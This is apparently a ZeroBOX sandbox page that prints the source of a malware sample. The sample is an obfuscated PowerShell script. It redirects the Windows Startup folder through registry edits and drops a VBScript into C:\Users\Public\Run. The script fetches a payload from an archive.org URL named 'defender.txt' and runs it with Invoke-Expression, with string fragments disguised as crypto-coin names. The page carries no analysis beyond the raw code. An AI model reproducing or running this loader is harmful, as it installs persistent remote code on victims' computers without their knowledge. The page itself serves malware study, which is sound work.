Static | ZeroBOX
No static analysis available.
$H1="C:\Use++++++++++++++++++++un".Replace("++++++++++++++++++++","rs\Public\R")
$H2 = "Crea--------------------ry".Replace("--------------------","teDirecto")
[system.io.directory]::$H2($H1)
start-sleep -s 5
$H3 = "HKCU:\Softw-----------------lders".Replace("-----------------","are\Microsoft\Windows\CurrentVersion\Explorer\User Shell Fo")
$H4= "HKCU:\Softwar+++++++++++++++++++++++++++ders".Replace("+++++++++++++++++++++++++++","e\Microsoft\Windows\CurrentVersion\Explorer\Shell Fol")
$H5 = "C:\Us--------------c\Run".Replace("--------------","ers\Publi")
$H6 ="C------------blic\Run".Replace("------------",":\Users\Pu")
Set-ItemProperty -Path $H3 -Name "Startup" -Value $H5;
Set-ItemProperty -Path $H4 -Name "Startup" -Value $H6;
start-sleep -s 5
$Content = @'
Dim HBANKERS
A1 = Chr(69)
Set HBANKERS= CreateObject("WScriPt.SH"+A1+"LL")
Donal=chr(80) &"O" & Chr(87)
Trump = Chr(69)
mike = Chr(82) & "s"&"H" & Chr(69)
pompeo = Chr(76)
Elon =Chr(76)&" $TRU"
HBAR = "MP ='https://ia801404.us.archive.org/9/items/defender_20210731/defender.txt';$"
WHO = "B ='E"
ERO = "TH COINt.W"
H1 = "TF COINlIOSNT'.Re"
AA = chr(80)&"lace('ET"
H2 = "H COIN','nE').Rep"&Chr(76)
BB = "ace('TF CO"
H3 = "IN','EbC').Rep"
CC = Chr(76)&"ace('OS','e');"
MUSK = "$CC = 'DO"
H4 = "S COIN L"&"SOSC"
H5 = "OINnG'.Rep"
DD = Chr(76)&"ace('S CO"
H6 = "IN ','Wn').Rep"&Chr(76)
FF = "ace('SO','oaD').Rep"
GG = Chr(76)&"ace('COIN','TrI');"
SHIB =""
INU ="$A ='I`Eos COI"
H8 = "N`W`BTC CO"
H7 = "INj`ETH COIN $B).$CC($T"
H9 = "RUMP)'.Rep"
KK = Chr(76)&"ace('os CO"
H10 = "IN','X(n`e').Rep"&Chr(76)
TT = "ace('BTC COI"
H11 = "N','-Ob').Rep"
ENB = Chr(76)&"ace('TH CO"
H12 = "IN','`c`T');"
PUMP ="&('I'+'E"
OS = "X')($A -J"
SOS = "oin '')|&('"
HHHHHH = "I'+'E"
EOS = "X');"
COIN = Donal+Trump++mike+pompeo+Elon+HBAR+WHO+ERO+H1+AA+H2+BB+H3+CC+MUSK+H4+H5+DD+H6+FF+GG+SHIB+INU+H8+H7+H9+KK+H10+TT+H11+ENB+H12+PUMP+OS+SOS+HHHHHH+EOS+""
HBANKERS.Run COIN,0
Set-Content -Path C:\Users\Public\Run\Run.vbs -Value $Content
start-sleep -s 5
$TRUMP = 'https://ia801404.us.archive.org/9/items/defender_20210731/defender.txt';
$B = 'ETH COINt.WTF COINlIOSNT'.Replace('ETH COIN','nE').Replace('TF COIN','EbC').Replace('OS','e');
$CC = 'DOS COIN LSOSCOINnG'.Replace('S COIN ','Wn').Replace('SO','oaD').Replace('COIN','TrI');
$A ='I`Eos COIN`W`BTC COINj`ETH COIN $B).$CC($TRUMP)'.Replace('os COIN','X(n`e').Replace('BTC COIN','-Ob').Replace('TH COIN','`c`T');
&('I'+'EX')($A -Join '')|&('I'+'EX');
Antivirus Signature
No IRMA results available.